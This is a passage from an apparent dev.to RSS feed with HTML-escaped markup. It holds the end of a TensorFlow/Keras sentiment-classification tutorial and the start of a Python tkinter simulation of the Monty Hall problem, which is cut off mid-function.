&lt;span class="n"&gt;padded_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pad_sequences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one_hot_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxlen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;post&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Architecting our Model 
&lt;/span&gt;
&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Sequential&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Embedding&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flatten&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Dense&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;activation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sigmoid&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;# specifying training params 
&lt;/span&gt;
&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;optimizer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;adam&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;binary_crossentropy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="n"&gt;metrics&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accuracy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;history&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padded_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;label_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;epochs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="n"&gt;batch_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# plotting training graph
&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;plot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;loss&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output of the training graph is going to look as shown below;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygm2t5c7t8xg04b7caw6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygm2t5c7t8xg04b7caw6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This looks pretty good revealing that our training was able to minimize the loss effectively, and our model is ready for testing. &lt;/p&gt;

&lt;h2&gt;
  
  
  Evaluating of model
&lt;/h2&gt;

&lt;p&gt;Let's create a Simple function to predict new words using the model have just created, it won't be that smart since our data was really short.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;one_hot_word&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;one_hot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="n"&gt;pad_word&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pad_sequences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one_hot_word&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxlen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;post&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pad_word&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;you look positive&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;damn you&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s"&gt;re negative&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's test calling predict method with different word parameters&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;this tutorial is cool&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;look&lt;/span&gt; &lt;span class="n"&gt;positive&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;This tutorial is bad as me &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;damn&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;re negative
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our model was able to successfully classify the positive and negative reviews which shows it really learnt something.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The &lt;a href="https://kalebujordan.dev/text-classification-using-tensorflow/" rel="noopener noreferrer"&gt;original article&lt;/a&gt; can be found on on my &lt;a href="https://kalebujordan.dev" rel="noopener noreferrer"&gt;personal blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  I also recommend reading this
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/how-to-easily-compute-similarity-between-documents-using-python/" rel="noopener noreferrer"&gt;Plagiarism detection with Pysimilar in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/analyze-tweets-sentiment-using-python/" rel="noopener noreferrer"&gt;How to analyze tweets emotions using python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/translating-languages-using-python/" rel="noopener noreferrer"&gt;Translating languages with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/how-to-detect-plagiarism-in-text-using-python/" rel="noopener noreferrer"&gt;Make your own plagiarism detector from scratch in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>datascience</category>
      <category>machinelearning</category>
      <category>python</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Learn how to Simulate the monty hall problem in Python</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Sun, 22 Nov 2020 19:33:41 +0000</pubDate>
      <link>https://dev.to/kalebu/learn-how-to-simulate-the-monty-hall-problem-in-python-4egm</link>
      <guid>https://dev.to/kalebu/learn-how-to-simulate-the-monty-hall-problem-in-python-4egm</guid>
      <description>&lt;p&gt;&lt;em&gt;The &lt;a href="https://kalebujordan.dev/simulate-monty-hall-problem-using-python/"&gt;original article&lt;/a&gt; can be found on &lt;a href="https://kalebujordan.dev/simulate-monty-hall-problem-using-python/"&gt;kalebujordan.dev&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Hello Pythonistas,&lt;/p&gt;

&lt;p&gt;Today I will give you a brief guide to applying Python to Mathematics World, on this tutorial you're going to simulate the &lt;strong&gt;Monty Hall problem&lt;/strong&gt; in Python.&lt;/p&gt;

&lt;p&gt;You might be wondering what the hell is this Monty Hall Problem?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Monty Hall problem&lt;/strong&gt; is a brain teaser, in the form of a &lt;a href="https://en.wikipedia.org/wiki/Probability"&gt;probability&lt;/a&gt; puzzle, loosely based on the American television game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fSTrGEs---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i1.wp.com/kalebujordan.com/wp-content/uploads/2020/06/monty-hall-problem.png%3Ffit%3D1024%252C569%26ssl%3D1" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fSTrGEs---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://i1.wp.com/kalebujordan.com/wp-content/uploads/2020/06/monty-hall-problem.png%3Ffit%3D1024%252C569%26ssl%3D1" alt="" width="880" height="489"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Suppose you're on a game show, and you're given the choice of three doors: Behind one door is a car; behind the others, goats.&lt;/p&gt;

&lt;p&gt;You pick a door, say &lt;strong&gt;No. 1&lt;/strong&gt;, and the host, who knows what's behind the doors, opens another door, say &lt;strong&gt;No. 3&lt;/strong&gt; has a &lt;strong&gt;goat&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;He then says to you, "Do you want to pick door No. 2?" Is it to your advantage to switch your choice?.&lt;/p&gt;

&lt;p&gt;Well, It's upon your choice and luck to switch or stay with Door No 1 or switch to number 2, Mathematically the person who switches has &lt;strong&gt;twice&lt;/strong&gt; the chance of winning a Car.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VuL2LNu7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://kalebujordan.com/wp-content/uploads/2020/06/352px-Monty_closed_doors.svg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VuL2LNu7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://kalebujordan.com/wp-content/uploads/2020/06/352px-Monty_closed_doors.svg.png" alt="" width="352" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The concept is based on probability concentration. Initially when you choose door No 1. There is a &lt;strong&gt;1/3&lt;/strong&gt; probability that the car is in that door and &lt;strong&gt;2/3&lt;/strong&gt; in the other two.&lt;/p&gt;

&lt;p&gt;But when the host another door on those two remaining and tell there is a goat, then the probability that there is car concentrate to the door No 2.&lt;/p&gt;

&lt;p&gt;So Mathematically Switching would be a better idea.&lt;/p&gt;

&lt;p&gt;Now we have already learned the concepts, It's time to simulate our idea in Python.&lt;/p&gt;

&lt;p&gt;We are going to use the Python random Library to generate random choices and open doors containing goat and a simple &lt;a href="https://docs.python.org/3/library/tkinter.html"&gt;tkinter&lt;/a&gt; widget to display the overall count.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;app.py
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;random&lt;/span&gt; 
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;tkinter&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;StringVar&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Tk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Entry&lt;/span&gt;

&lt;span class="n"&gt;window&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Tk&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;geometry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'400x100'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'Monty hall simulation'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resizable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;same_choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;StringVar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;switched_choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;StringVar&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;same_choice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;switched_choice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;no_sample&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;Label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'Same choice'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;place&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'Switched choice'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;place&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;textvariable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;same_choice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;Label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;textvariable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;switched_choice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;font&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;no_sample&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;simulate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;same_choice_result&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;switched_choice_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;samples&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no_sample&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;doors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'gold'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'goat'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'bed'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;samples&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;simulated_doors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;first_choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;first_choice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;opened_door&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="s"&gt;'gold'&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;opened_door&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;switched_second_choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;simulated_doors&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
